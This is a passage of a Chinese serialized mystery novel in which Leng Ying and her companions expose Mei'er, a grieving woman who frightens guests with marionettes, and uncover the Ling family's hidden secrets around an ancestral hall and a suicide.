诡异的安静,让冷萤与珊瑚紧张到连呼吸都逐渐减缓。 即便两人靠得格外近,却连细微的声音都不敢发出。 长久又压抑的静谧,让她们的手脚变得麻木而冰冷。就在她们以为屋顶上的那个人,不会再有任何动作时。 一道暗影,遮住了那唯一透进房间的光线。 冷萤顺势抬头,才发现被移开的那几块瓦片的洞口,有什么东西垂落了下来。 落下的东西,似乎被什么牵引着,正一顿一顿地往下。 悄无声息…… 她俩不敢轻举妄动,只能待在原地静等那东西慢慢下落。 在那一轮月光重新回到房间时,冷萤与珊瑚两人,终于看清了那东西是什么! 吊下来的,是一个被弦丝控制住的婴孩。 孩子身上所穿的衣物,与冷萤昨夜在房中拾到的那块布料,几乎是一模一样。 上面的那人,用泛着银光的弦丝,以极慢的速度将孩子吊着往下送。 冷萤实在不懂对方这样的举动究竟为何,在看了眼衣柜那处,发现衣柜前的影子晃了下,她才转头朝珊瑚眨了眨眼睛。 珊瑚接收到她的暗示,以极快的速度放出弦丝。 下一瞬,她放出的弦丝,与吊着那婴孩的弦丝交缠。 随着她双手用力一扯,月光下的弦丝即刻被绞断,吊着的孩子没了弦丝牵扯,在半空中快速朝下坠落。 又是一根弦丝,圈住那婴孩的身体。 衣柜处,原本有两道身影,此时只剩下了矮一点的那个。 就在珊瑚抓住孩子襁褓的同时,外面传来了一个女子狂乱的大叫声:“不要……哇……不要杀我。把我的……孩子还给我……” 方骅不知用了什么方法,那女子叫了几声便安静了下来。冷萤这时,才将目光移到珊瑚抱着的孩子身上。 这孩子怎么这么安静? 经过方才激烈的暗自较劲,她们才发现,自始至终这孩子都没吭过一声。 冷萤重新将烛火点亮,在房间亮起的一刹那,她的目光害怕到僵住了。 “哇啊……”当然,被吓到的不止冷萤一人。 珊瑚的反应比她更激动,直接将怀里的“孩子”往地上一丢,嘴里气愤地念叨道:“到底是哪个死变态,居然敢大半夜用木偶吓我们,要是让姑奶奶找到了,定不让他好过!” 冷萤走上前,捡起那尊雕刻的与珊瑚面容有些相似的木偶,问道:“方才凌小宝雕刻的那尊木偶,还在你那里吗?” 被问到的人点头:“在的,我去拿过来。” 珊瑚将凌小宝方才雕刻的木偶拿过来,冷萤接过后,将两尊木偶放在一起比较。 一瞬间,她们两人包括后面赶来的姜小四,全都诧异地呆住了。 这两个傀儡木偶,除了一个裹了衣物,一个没裹外,面部雕刻的几乎一模一样。 全都是……珊瑚的模样。 “有病啊……”珊瑚没忍住,骂了一句。 冷萤则是颇有些头疼,喃喃道:“难道……凌小宝是在装疯?”可方才,屋顶上发出的,又是女子的声音。 大门被人敲了两下,方骅回来了。 姜小四连忙跑去开门,刚打开,就瞧见方骅抓着一个蓬头垢面的女人进来。 “你将她打晕了?”冷萤站起身,走过去仔细观察闭着眼睛的陌生女人。 方骅目光扫来,眼底写着:你看我像是打女人的男人吗? 冷萤默默点了点头,就当是回答他了。 对方被她的反应无语到,冷着声音道:“被我吓晕了。” 哦吼…… 更伤自尊了。 冷萤对躺在床上的女子瞧了又瞧,最后得出结论,她确定自己从未见过这个人。 凌家的人,他们几乎都已经打过照面了。那说明,这个人应该不是凌家人。 难道是凌家的下人? 可下人的手中,怎么会有凌小宝做的傀儡木偶? 看女子的模样和身上的衣物,似乎已经许久没有清理过,身上发出一阵阵难闻的气味。 冷萤拿过湿帕子,准备将女子脸上的脏污拭净。谁知刚一碰到对方脸颊,一个拳头就挥了过来,直直朝她的面门袭来。 好在方骅眼疾手快,将她往后一拉,才躲过了被毁容的命运。 “你……你们是谁?” 原来女子方才一直在装晕,察觉到冷萤想帮她擦脸,才下意识挥了拳头。 方骅沉声问道:“你是谁?为何大半夜跑出来吓人?” 或许是方骅的面孔太严肃,他一开口女子便往床里缩了缩,再问就不敢开口说话了。 这样下去,他们什么也问不出。 冷萤只好对方骅和姜小四道:“你们先回去罢,有珊瑚在这里,不会有什么事的。” 方骅朝珊瑚瞪了一眼,才不管对方隔空朝他挥了几拳,讽刺道:“刚才你差点被打时,她也在你身边。” 一句话,让冷萤和珊瑚同时无言以对。 实在劝不动,冷萤只好提议:“那你俩先去门外守着,不然这样下去,什么都问不出。” 对方这才接受了提议,只是走之前警告地看了珊瑚一眼。 “看什么看,凶巴巴的。”珊瑚在他身后啐了一句。 在方骅与姜小四走出房间后,冷萤明显感觉到,女子整个身体都放轻松了一些。 “你不要紧张,”冷萤尽量将自己声音放低,“我们没有恶意的,他们也是。” 女子慌张的眼神在打量冷萤与珊瑚许久后,选择将整个身体转到墙面,打算对她们来个不理不睬。 “喂!”珊瑚气急。 冷萤见背对着她们的女子,身体还在微微轻颤着,心一下软了。 她起身倒了杯热茶,走回床边道:“姑娘穿得有些少,不如喝口热茶暖暖身子。” 对方好似没有听见一样,僵持着一动不动。 她只好将手中的茶递给珊瑚,然后对着单薄的背影冷静道:“请问姑娘,你与凌小宝是什么关系?” 话音刚落…… 女子整个身体猛地一颤,随后像见了鬼一般慌张地坐起了身。 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百七十三章 玫儿 女子坐起身后,不顾冷萤与珊瑚的阻拦,抖着嘴唇想下床。 她们说尽好话,对方好似一句都听不进去,执意想离开。 冷萤抿了下唇,原本柔和的嗓音变得低沉了些,开口道:“姑娘半夜出来装神弄鬼这件事,如果不想被人发现,最好从现在开始老老实实地不要再动。” 她的这句威胁对方听懂了,动作即刻停了下来。 “除非你想见到凌家所有的人,不然最好回答我方才的问题。不然……”冷萤硬起心肠说着。 对方的言行举止,让冷萤明白了一件事。 她好像很怕凌家人发现自己。既然怕,又为何要做这些? “为何要半夜出来吓人?”她看着缩至床角的女人,开口问道。 对方眼神虚浮,不敢长久定在某处,更是不敢光明正大地瞧冷萤与珊瑚二人。 虽不忍,但事情总要解决,冷萤于是再次问道:“姑娘与凌家有仇?” 她一边问,一边拿过热茶递了上去。 对方虽还是没有接过她递来的茶水,但脑袋好歹是微微点了点。 看见对方反应,冷萤某些猜测自脑海一闪而过,在斟酌片刻后问道:“姑娘叫什么名字?” 女子防备地看着她,努力想缩成一小点,让自己整个背部都贴在墙角。 这样下去不是办法,冷萤正想与珊瑚商量,不如等这姑娘休息片刻后,再继续问话时。 床脚处传来了细若蚊蝇的声音:“奴家……叫玫儿。” 纤细的嗓音,颤抖的音色,让冷萤与珊瑚以为自己听错了。 “再说一遍,你叫什么?”珊瑚立刻夸张地凑近她,侧着耳朵想听清。 这个举动,将对方吓得不停往回缩。 冷萤顺手拉回珊瑚,心里也是狠狠吃了一惊。 被拉回的人,转头问她:“冷姐姐,我没听错吧?她说她叫……玫儿?” 冷萤点了点头,目光并未从那纤弱的女子身上离开。 现在究竟是谁在说谎? 凌老爷说玫儿已死,可这大半夜里,突然蹦出一个人,告诉她们自己叫玫儿? “你不是……”冷萤想问出内心的疑问,考虑了好久才话锋一转道:“是谁救了你?” 对方听了她的问话,面色倏然一紧,连连摇头道:“没有人救我,你们……你们是谁?怎么知道我经历过什么?” 她本以为只是一个名字而已,对方既然步步紧逼,她告诉她们就是了。 可谁知对方问出的话,就好像知道她曾经历过什么一样。 冷萤猛地察觉到自己问得太急,思虑一番后又换了个话题:“姑娘手中的傀儡,是谁给的?” 看着对方的眼神。 好吧,这个也不能问…… 冷萤无奈叹气,已经不知道该如何询问了。突然“啪”的一声,巨大的响声自她身边传来。 她被吓到立刻看过去,发现是珊瑚将手中的木偶摔到地上,随后凶巴巴地对玫儿开口:“说不说?不说我就像方才这样将你砸了!” 冷萤正准备起身制止珊瑚的行为…… “我……我偷的小宝的。” 极小的一声回答,止住了她的动作。 珊瑚得意地看向冷萤,调皮地一勾下巴,仿佛在说:看!这不就招了? 冷萤这才彻底放下心来,瞧了眼依旧胆怯,但明显不再回避她们的玫儿,继续问:“为何要拿凌小宝的木偶?” 玫儿低着头,初秋的夜里有些凉,冷萤为她披了件外衣,慢慢坐到床边,耐心地等待她的回答。 须臾,玫儿抬起头快速暼了眼臭着一张脸的珊瑚,咬咬唇道:“因为…奴家想报复凌家人。他们……他们害死了我的孩子。” 冷萤默默点了点头,与她想的一样。 只是…… “你明明知道客房并不会住凌家人,为何还要过来?”并且还连着两晚都来。 玫儿再次快速瞧了眼珊瑚,只是这次她眼里装着的并不是害怕,而是一种更深层,她们压根看不懂的含意。 珊瑚深觉对方的眼神有些冒犯,很是不顺心道:“广元的人,眼神都鬼鬼祟祟的。” 见她已经气到进行地域攻击了,冷萤又开始回想自昨晚到今日,凌雪霜瞧见珊瑚时,那一次次浮现的奇怪神色与目光。 她在听珊瑚提过自己的父母后,心里总有一丝奇怪的想法。 但每每这种想法浮现时,她总觉得太过荒谬而直接在心里否认。 可每每否认后,总会有些细枝末节的线索出现。 比如说……玫儿的反应。 “是有人威胁,所以不能说?”冷萤问玫儿。 对方摇了摇头,低声回道:“不是,是我自愿的。” 珊瑚一听更气了,她拍了下床柱,整个床铺都摇晃了一下,将玫儿的脸色吓到发白,“我们同你有什么仇,你要这样吓我们?你看我冷姐姐……” 她气得拉过冷萤,指着她眼下顽固的黑青,大声道:“被你害得都没歇息好,一点都不觉得愧疚吗?” 玫儿被她的气势压得大气都不敢出一下,不停点头嘴里连连道:“愧……愧疚。” “愧疚还不说!” 被吼得一怔一怔的人,死死咬着嘴唇拼命摇头:“不,不能说!” “既没有人威胁你,为何不能说?难道……你同我们也有仇?”冷萤只能这样猜测。 听到她的问话,玫儿连忙摆手,快速澄清道:“没有仇的,是我自己上杆子非要吓你们。” 珊瑚气笑了,问道:“你是不是有病?” “有的。”玫儿坦率地点了点头,“自从孩子死后,我偶尔会发一些疯,但是没有小宝严重。” 对方坦率到没有余地的态度,让冷萤与珊瑚同时泄了气。 黔驴技穷的冷萤,开始反思自己问话的方式…是不是有些问题。 或许,她不应该直接问。 玫儿背后明显有人指使,看对方的反应,那个指使之人或许还救过她的命。 今日,他们几乎见过凌家所有的人。 她心里大概能猜到,究竟哪家会救下玫儿。 于是,在斟酌许久后…… 冷萤看向不停偷瞧她们的女子,直接开口问道:“是谁救了你?凌小宝还是凌雪霜?” 一句话,让原本神色稍缓的女子,紧张到嘴唇都失去了血色。 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百七十四章 祠堂 对方的反应,已经彻底出卖了她自己,却还是咬紧牙关不肯多说一句。 玫儿失去孩子后情绪不稳定。冷萤与珊瑚也不好一直用威胁的方法来逼对方说实话。 好在对方的反应,让她们怀疑的范围缩小了些。 于是冷萤问道:“玫儿,你如今住在哪里?” 对方还是摇摇头,表示不能告诉她们。 “我们可以放你离开,”她这话一出,对方的表情很是不敢相信。 冷萤继续劝慰道:“但你得答应我,不可以再出来作怪。万一哪次被抓住,你到时连住的地方都没有了。” 这女子的命已经够苦了,冷萤不想她再受到什么波折。 她本想劝对方快点离开凌家,可看她的样子时而清醒、时而疯癫,出去后一个人会很难活下去。 所以她们现在要做的,就是先揪出控制玫儿的人。 玫儿听罢连连点头,慌忙就要爬下床。 冷萤将她扶下床,见她离开之前还不忘捡起地上的木偶,也只是默默目送着对方离开。 对方走两步一回头,眼底一直有防备之色,似是想不通明明已经被抓住了,为何还能安然无恙地离开这里。 在打开房间门后,她又再一次回头。 确认冷萤与珊瑚没有任何动作后,她最后朝屋内两人福了福身,才如惊弓之鸟一般消失在夜色中。 “冷姐姐,我们就这样放她走了?”珊瑚很是遗憾地问。 冷萤颔首,对她道:“她只是被控制的可怜人,我们从她嘴里问不出什么的。想抓住她背后的人,只能自己想办法。” “什么办法?”人都走了,还能有什么办法? 拉着正在伤脑筋的珊瑚,冷萤二话不说就要出门。 对方一脸懵,连连小声问道:“这么晚了,我们出去干吗呀。” “快走,要跟不上了。”冷萤来不及同她一一讲清楚。 两人出门时,方骅与姜小四已经不在门口了。 “嗯?他俩呢?”珊瑚就知道这俩不靠谱,说好守在门口保护她们的呢? 冷萤手指向黑暗的虚空,告诉她:“在那里。”说完便拉着她,猫着腰悄悄溜了过去。 在穿过一道连廊后,珊瑚依旧没有瞧见那两个人。 真奇怪,冷萤明明指的就是这里,是她眼睛有问题吗? 在走到连廊尽头的转弯处时,冷萤淡定地带着她闪身进了一间房。 房间里闪着暗黄的光,被拉进来的珊瑚定睛一瞧,方才不见的两人好似已经候在这里,等着她们许久了。 “你确定她进了这里?”冷萤问方骅。 对方点了点头,指了指整个房间最角落,低声回道:“那里有一道暗门。” 冷萤这才打量起房内的摆设,发现他们好像不小心闯进了凌家的祠堂。 正厅里供奉着凌家祖宗的牌位,供桌上摆放着常见的供品。 几人怕太过冒犯,本想绕着走去最角落。可还没等他们有所行动,门外便传来了几声细微的脚步声。 迫于无奈,几人只能躲到香案的最后面,那里刚好挂着两块暗布,可以容纳下他们四人。 就在他们刚躲好,祠堂的门便被人推开了。 来人全身黑衣,脸上蒙着一块黑布,就这样看完全看不清对方长相。 但从对方的身形与举止,可以看出是一名年纪不大的男子。 这人进了祠堂后,未在大堂作片刻停留,便推开了方骅所指的那道暗门。 “怎么办?他进去后便什么都知道了,以后只会更加防备,那我们岂不是更难抓到对方的把柄了?”珊瑚有些着急地问道。 “玫儿不会说的。”冷萤语气确定。 她不解地问道:“为何?” 冷萤细声细语为她解答:“她走之前捡起了傀儡木偶,这个举动……说明她也不敢让这个人知道,她的行动失败了。” “原来如此,”珊瑚表示听懂后,发现冷萤的表情还是很凝重,便问道:“冷姐姐,玫儿不会供出我们了,你还有啥好担心的。” 这时,一旁的方骅开口说话了。 这里虽然能容纳四个人,但真当他们进来后,才发现里面有多么拥挤。 方才躲避时,冷萤被方骅和珊瑚同时先推了进来。所以此时,她被困在最里面,左右两边分别是珊瑚和方骅。 姜小四则是站在暗布后方,时刻观察香案外面的情况。 方才同珊瑚说话时还不觉得,这会儿轮到方骅开口时,冷萤才猛然发觉,他们几人是不是挨得有些太近了。 难怪对方一直没有开口说话。 暼了眼冷萤正往珊瑚那处移动,方骅面容渐渐染上暗红色,轻咳一声后才沙哑道:“这个男人看着不像凌小宝,更不可能是凌雪霜。” 珊瑚恍然大悟道:“所以……玫儿方才还是骗我们了。” 冷萤皱眉,想起方才玫儿的反应并不像是假装。可事实告诉他们,来人的确不是她猜的那两个。 见冷萤苦恼的神色,珊瑚上前一步正想开口,脚下却踩到了一块硬硬的东西, 她蹲身捡起,在看见拿着的是什么后,差点手滑将手中的东西丢出去。 冷萤看向她,才发现珊瑚方才不小心踩到的,居然是一块牌位。 这块牌位很奇怪,中间只写了两个字“凌烟”,其余什么都没有。 怎么会有人把牌位供奉在暗处?真是奇怪。 她下意识低下头时才发觉,他们身下居然还有一张非常小的供桌,供桌上放着的,全是用木头雕刻出的,孩子们喜欢的玩意儿。 “难不成是哪个去世小孩的牌位?凌烟……”珊瑚念着牌位上刻着的名字,赞了一句:“名字还挺好听的,可惜这么小就死了。” 凌烟?冷萤在心底默默念了一句。 难道……这是凌小宝那无缘孩子的名字? 只是,若是凌小宝的孩子,牌位为何不能光明正大地摆到前面,非要供在这暗无天日的角落一处? 毕竟这孩子无辜丧生,凌家的人全都知道。 正想着,暗门那处有了响声。 几人屏气凝神,偷偷探出脑袋朝那处瞧去。 出来的还是那个黑衣人,只是这次手上多了一个傀儡木偶,俨然就是玫儿方才在房间里拾走的那个。 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百七十五章 鬼卒傀儡脸 “这木偶有啥重要的,非要半夜跑过来取走?”珊瑚不仅不明白,还有些后悔。 早知道这木偶这般重要,方才就不让玫儿拿走了。 被发现就被发现,大不了打一架,反正做亏心事的又不是他们。最重要的是,那木偶雕刻的与她面容极为相似。 这样被人拿在手中,递来拿去的,她总觉得心里不太舒服。 她转头看冷萤,发现对方也是一脸懊悔。 几人忙了一夜,就抓了个小兵,还是不能随意乱动的小兵。以至于往回走时情绪都有些沮丧。 他们刚走出祠堂,便瞧见天色已蒙蒙亮。 珊瑚叹了一句:“知道的不能抓,不知道的又抓不了,累死姑奶奶了。” “呵呵……” 她话音刚落,便发现有个男声在嘲笑她,二话不说便瞪向方骅。却发现这个棺材板脸,居然正盯着她的冷姐姐出神。 隔空白了他一眼后,只好又朝他身边的白发少年看去。 却发现姜小四更不可能,对方此时正半眯着眼无精打采的,走着路都快要睡着了。 究竟是谁在嘲笑她! 如脱了墨的凌晨,看什么都是朦朦胧胧的。 她左看一眼,发现只有冷姐姐回应她,右看一眼,姜小四都快撞柱子上了。 顿时感觉……后背一阵发凉。 就在她准备开口问同伴,有没有听见什么奇怪的笑声时…… “呵呵……”让人毛骨悚然的声音,又传了过来。 这次比较清晰,让在场的四人全都警觉了起来,姜小四的睡意更是一下子飞走了。 不敢随意出声怕惊动到凌家人,他们只能无声且默契地调转视线,试图用目光搜寻出声之处。 在寻找许久后,方骅在他们身后的转角处,瞧见了一截绿色的衣角。 互相使了使眼色,几人轻手轻脚地转身往回走,在路过祠堂后走了没几步,倏然朝那个转角跑去。 放大的鬼卒傀儡脸,与他们脸贴脸打了个照面。 白惨惨的脸庞,将几人吓得连退好几步。 “嘿嘿,又看见阿姐了。”鬼卒傀儡脸后面,又是一阵傻笑传出。 珊瑚的手都举起了,又被冷萤按了下去。 见她气得发抖,冷萤虽然也被吓得不轻,但还是息事宁人道:“算了,别和小孩一般计较。” 虽然说这句话时,她的嗓音还在抖。 珊瑚点点头。可以,她不打…… 在平复半晌后她才走上前,一把捏住凌小宝的左耳,咬牙切齿道:“你是不是…想…死?” “不想不想,小宝不想死。” 凌小宝被她故作狰狞的模样吓到,慌忙想往冷萤身后躲。 眼见着凌小宝的手,马上就要触上冷萤的外衣,方骅一把将他拽到了自己身前,问道:“你怎么会在这里?” 他细细打量眼前的男人,发觉无论从哪一处瞧,凌小宝与那个黑衣人都没有任何相似之处。 除非,这个人极会掩饰,且会改变自己的身形与走路姿势。 “小宝在玩捉迷藏呀?”对方天真无邪地回他。 珊瑚见他这模样就想呕,张口就道:“大清早的,谁会陪你玩捉迷藏?你骗谁呢你?” 对方似乎听不懂她话中的讽刺,歪了歪头道:“炎心姐夫啊,他说好会来找我的。” 听了他的回答,珊瑚都要笑出声了。 人家才风尘仆仆回到家,就是为了陪他玩捉迷藏的?这小子,说胡话的功力已经出神入化了。 “那他也太笨了,这么久都没有抓到你。”懒得再同这小傻子说话,珊瑚敷衍地回了句。 “没有很久啊,明明刚……” 凌小宝正在乖乖回答,身后不远处跑过来一个男人,众人定睛一看,居然还真是樊炎心。 “抓到你了。”凌小宝见到来人,乐呵呵地跑上前一把抱住了对方的腰。 来人并没有立即理会凌小宝,而是用深沉的眸子打量着冷萤几人,冷冷地问道:“天还未亮,几位为何会在这里。” 被人抓了个正着,冷萤正在想要怎么回答,凌小宝又开口了:“陪我玩捉迷藏啊?炎心姐夫,哥哥姐姐们,方才陪小宝玩了好久呢。” 凌小宝一开口,便解决了他们的困境。 珊瑚连连点头,心想以后还是不叫对方小傻子了,明明是个小机灵鬼儿。 男人这才转头看向正抱着自己胳膊的凌小宝,言语间不再有冷意,而是纵容道:“好好睡着觉怎么跑出来了,要不是丫鬟过来找雪霜,我们还不知道你居然跑到祠堂来了。” 凌小宝挠了挠头一脸为难地看着樊炎心,动了动嘴难得没说一句话。 “不能再玩了,跟我回去,”樊炎心见他这样子,微微勾了勾唇,再看向冷萤几人时,嘴角又平了下来,“几位贵客也早些回房休息吧!都是小宝不对,打扰各位休息了。” “无事。”冷萤有礼道。 看着樊炎心与凌小宝离开的背影,方骅开口道:“这样瞧着,两人的身高其实差不多,若是将身量修饰一下,凌小宝的步子迈得再规整些,从远处其实看不出太大的差别。” “能猜出是谁吗?”冷萤干脆问道。 方骅摇头:“还不能太早下结论,别忘了,前几日樊炎心可都不在凌家。” 说话间,几人转身朝客房走去。 反正不管怎样,不是老二就是老四,这一点是逃不开的。 其余的,就留待他们慢慢查清了。 可就在方骅与姜小四两人,将冷萤与珊瑚送回客房,正准备离开时…… 一个男人极为凄惨的大喊声,自凌家一角传出。 冷萤与珊瑚往房间走的脚步,顿时停了下来,转身与还没来得及离开的两人,一同朝出生之地奔去。 等他们到时,凌家老大与樊炎心已经赶到了。走近才发现,那凄厉的大叫出自老三凌池口中。 凌天阁在凌雪霜的搀扶下,姗姗来迟。 冷萤几人走到门边,趁人不注意时往里一望,惊恐地发觉里屋居然吊着一个人。 凌池趴跪在地上,拳头捶地号啕大哭。 几名下人在凌云海的授意下,想将吊在房梁上的人抱下来。他们从门外可以清晰地瞧见,吊死的那人就是凌池的妻子-林殊心。 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百七十六章 公开的秘密 下人们小心翼翼地将林殊心的尸体抱下来,平放在地上。 凌池手脚并用地爬过去,抱着林殊心的尸体,哭喊到几乎断气。 凌云海无奈地摇了摇头,低下头暗自叹了一声,然后一直在凌池身边守着,怕他会冲动做出什么傻事。 万归宁见凌天阁与凌雪霜进屋,走到凌天阁另一边扶着他,提议道:“三弟妹死得太惨了,公公还是不要过去,未免承受不住。” 凌天阁神色悲愤,身体虽被凌雪霜搀扶着,但步履虚浮,好似不能再承受一点打击。 就这么几日,老三一家就只剩下了凌池一个人了。任谁再坚强,也无法遭受如此巨大的打击。 凌天阁心疼老三一家,即便是身体已快要承受不住,却还是执意要过去看一眼。 樊炎心本是同凌云海一同守着凌池。 见到凌天阁与凌雪霜过来,连忙上前道:“三弟妹应是受不住倩倩去世的打击,昨夜趁三弟不注意时,跑到里屋上吊自杀了。” 凌雪霜正想往前一步,樊炎心挡在她面前,小声道:“别看了,雪霜。” “可是三弟……”凌雪霜心疼地看着凌池的背影,想上前安慰安慰。 冷萤他们几个外人不好进去,只能站在门口观察里面的情况。 他们的身后躲着几名下人,应该是别院听见声音跑过来的。 下人不认识冷萤几人,说话间也就没特别注意。 只听见其中一名下人道:“这三爷家好像被什么诅咒了,家中的人一个接一个的死去。” “就是…太惨了,”另一个下人接过话,“听说,杀死倩小姐的是自家人,你们猜会是谁?” 一名丫鬟连忙阻止:“不要嚼舌根,当心被发卖掉。” “怕什么,这事都传开了,现在凌家还有谁不知道?这家的秘密还不够多吗?见不得光的小爷,突然消失的风少爷,还有死掉的两名女婴。再加上……” 正在细数凌家秘事的下人,被另外一个打断道:“不对,明明是一个女婴,你怕是听混了吧?之前的那一个,不是传言被送出去了吗?” “那都是什么时候的事了,你这消息一点不灵通。”被打断的下人鄙视道:“上次我无意间路过樊相公房间,听他不知在同谁讲起,说那女婴被送到京城后没几日,便因得病而死了。” “等等!樊相公怎么会知道这个事?”那名丫鬟也加入进来,“那件事……不是樊相公进凌家前发生的事吗?” 其中一人回她:“谁知道呢,反正这些事我们也只敢私下讨论,可不是我说的啊。” “也不是我!”另一个也快速撇清关系。 或许是发觉讨论得太过火,那几名嚼舌根的下人突然全都不再说话。 冷萤几人则是听愣在了原地,这才明白过来,这凌家原来早就漏成筛子了啊。 可能,也只有凌天阁还在试图维护凌家岌岌可危的面子。即便是察觉到了什么,也固执地守着那些秘密,掩耳盗铃地以为所有人都不会知道。 而为了顾全凌老爷子的面子,众人也都默契地装作什么都不知道。 仵作赶了过来,冷萤几人离开凌家老三的院子,找了人少之地,才敢开口讨论。 憋到不行的珊瑚,终于可以开口说话了:“这么说来,樊炎心从始至终,都知道凌雪霜在成亲前遇见过什么?” 冷萤点头,猜测道:“会不会这么多年,樊炎心其实一直在帮凌雪霜打听孩子的事?凌家上下似乎都不怎么守得住这个秘密,凌雪霜或许很早就开始怀疑了。” 说起孩子,方骅也开口道:“既然樊炎心打听到孩子已经病死,会不会干脆就直接告诉了凌雪霜?” 如果真是这样,珊瑚都有些心疼对方了:“如果凌雪霜知道自己的孩子其实并没有难产而死,而是被送到京城后才因病致死的,怕是会发疯吧?” 方骅这时突然想到什么,开口道:“凌小宝昨夜指着樟木箱里的婴孩头骨,一直在重复念叨着阿姐的孩子。难道……他也知道了什么?” 冷萤听他提起这茬,微微皱起了眉。 珊瑚一声惊叹:“他怎么又知道了?天啊,这凌家上下都是漏勺吗?就这一点秘密都藏不住?” 冷萤好似明白了什么,开口道:“难怪昨日在凌倩倩房中,凌雪霜在听见凌小宝说的那些话后,并没有出现任何过激的反应。” 说完这话后她突然想起,方才在祠堂香案下发现的那块牌位。 小小的供桌藏得如此深,会不会……就是凌雪霜偷偷给自己女儿立的牌位?所以才会选择放在桌案下方,不能轻易让别人发现。 那这个叫凌烟的孩子,其实是凌雪霜为自己逝去的女儿取的名字? “太刻意了……”冷萤低声一句,让另外三人有些丈二摸不着头脑。 方骅见她仿佛想通了什么一样,表情都豁然开朗了,连忙问道:“是发现什么了吗?” 见珊瑚和姜小四也凑了过来,冷萤才说出了自己的疑问:“如那些下人所说,凌家的秘密早就不算是秘密了,为何那人还非逼着玫儿做这些无谓之举?” “玫儿是帮她的女儿报仇,我记得她昨日讲过。”珊瑚虽也觉疑惑,还是下意识开口道。 冷萤点头:“玫儿确实是想帮自己的女儿报仇,可为何傀儡身上的襁褓,与凌雪霜女儿被抱走时身上裹着的襁褓,一模一样呢?” 她一语惊醒梦中人,几人顿时明白了她的意思。 对啊…… 很多事情在得不到答案,或者无法解决时,通常才会选择用非常手段。 可明明,这些事已成为公开的秘密了,就连凌家的下人都知道,那孩子早已死去。 那人为何还要执着于搞出这些,来吓唬凌家人? 想为孩子复仇?或者是不甘心? “冷姐姐,方才我们站在凌池夫妇门外时,不小心瞧见里屋一个角落里,好像也放着一尊傀儡木偶。”珊瑚开口道。 其实她刚才就想说的,谁知突然听见那几名下人闲聊一时听忘了形,竟把这事给忘了。 这时在听见冷姐姐提起心里的疑问后,她复又才想起这事儿。 “是黑衣人手上拿着的那个?”方骅有些吃惊,问道。 珊瑚摇摇头:“看不太清,也不知道是谁丢在了床脚处,如果不是我刚好蹲身拾东西,根本就不会瞧见的。” “看来今夜,还得去找玫儿好好聊一聊。” 冷萤喃喃一语道:“事情开始变得复杂了……” 喜欢霞锦流光请大家收藏:()霞锦流光更新速度全网最快。 第一百七十七章 杀了他 事情变得再复杂,凌家今日都无人有闲心替他们解答。 凌家要处理凌倩倩与林殊心的后事,还要安抚凌池的情绪。直到夜深人静,四人才得以悄悄出了房门,兵分三路开始行动。 冷萤与珊瑚直接去找玫儿,而方骅与姜小四则是一人去凌雪霜夫妇院前,一人去凌小宝门前守着。 祠堂今日来过人,香火都旺了许多。 冷萤与珊瑚二人,趁无人瞧见时闪身进去。昏黄的烛光跳跃着,供桌上烟雾缭绕。 两人刚一进去,便发现了祠堂里的不对劲。 珊瑚示意冷萤让她小心,这祠堂不久前似乎刚进过人。 其实没等她提醒,冷萤的眼神在扫到那些牌位时,便瞧见了供桌后面露出的半道影子。 藏在供桌后的那个人,或许并没有发觉,他在往后躲时,旁边的烛火恰巧将他的影子映出了半截,让她们一进来便瞧见了。 对珊瑚使了使眼色,两人一左一右朝供桌悄悄走过去。 本就紧张的冷萤,此时整颗心都提到了嗓子眼。她不停在猜测,此时会是谁躲在那里。是凌家人呢?还是外面的盗贼跑了进来。 她以极轻的步伐走到供桌旁边,下一步就要抓住躲在后面的人时…… 一头银白色的头发,映入她的眼帘。 那头白发的主人,正在尝试将自己的整个身子缩成一小团蜷在最里面,样子看起来可怜巴巴的。 那边的珊瑚也瞧见了,无声地朝上空翻了个白眼,走上前用指甲轻戳了下,努力将自己脑袋埋在双膝里的少年。 戳了一下,对方似乎不敢相信自己这么快就被发现了,硬挺着没将脑袋抬起来。 珊瑚气笑了,直接一巴掌轻拍过去,姜小四这才反应过来抬起了头。 他那双空灵清澈的白瞳,在看见冷萤与珊瑚时,瞬间迸发出得救了的摄人光芒。一站起身,一副找到了队友的模样,立刻用手指向不远处的那道暗门。 “你是说,凌小宝进去找玫儿了?”冷萤看懂了他的意思。 姜小四点点头,表示自己一路跟过来时凌小宝并没有什么异常,只是不知为何,在走到祠堂时,突然猛地一下冲了进来。 他本来准备走过去偷听的,结果发现有人进门,这才慌张地找了个地方躲起来。 冷萤听罢,便示意他和珊瑚,三个人一起朝暗门走去。 走近后不出他们所料,暗门正紧紧关闭着。依稀仿佛,里面好似有说话声传出。 虽然听得不太真切,但凌小宝说话的音色本就独特,声量也较常人大一些。 如若他们凑近些听,虽不太听得清玫儿在说什么,但凌小宝的说话声,多多少少能听到一些。 “玫儿,小宝可乖了……都在阿爹面前……装作不知道你回来了喔……” 几人对望一眼,怎么也没想到,凌小宝之前在凌天阁面前说让玫儿快些回来那些话,居然是装的! 他的疯病,莫不是也是装的吧? 想到这里,几人又将耳朵朝暗门那处凑近了些。 “嗯……”凌小宝黏糊糊地嗯了声,又断断续续对玫儿道:“那日你让小宝去倩倩房间……小宝也去了……” 玫儿不知说了些什么,安静半晌后凌小宝说话声又起:“都按玫儿教的说了喔。阿爹…还有哥哥他们…都好吃惊的…就是就是…阿姐明明只有寸心一个孩子啊…你为何要让小宝这般说……” 凌小宝刚问完这句话,玫儿不知为何突然发了脾气。 人在生气时,声量本就会大一些,这倒是让冷萤几人终于听见了玫儿的说话声。 “凌家人当你的傻子不告诉你,不代表他们做的那些脏事就不会有人发现。你阿姐可怜得紧,头胎生下来就被你阿爹和哥哥们丢了。你该庆幸……他们发现你是傻子时,没有选择丢了你。” 然后是凌小宝着急得变了声:“阿爹和哥哥们…不会丢下小宝的…” 冷萤瞬间愣住。 在凌小宝进了这道暗门后,她便猜到玫儿之前在他们面前大概是装的。 只是没想到……前后反差会这么大。 对方的言辞,竟让几人硬生生在原地愣了半晌。 玫儿不知回了什么,凌小宝或许是反应慢,过了许久后才带着哭腔道:“小宝信玫儿的话,玫儿说什么便是什么…玫儿说阿姐以前还有一个孩子…阿姐就还有一个孩子……” 安静片刻后,几人便听见了凌小宝“呵呵”傻笑了两声。 就在他们以为,里面的对话暂时告一段落,玫儿只是因为恨凌家,指使凌小宝恶作剧了几次罢了。 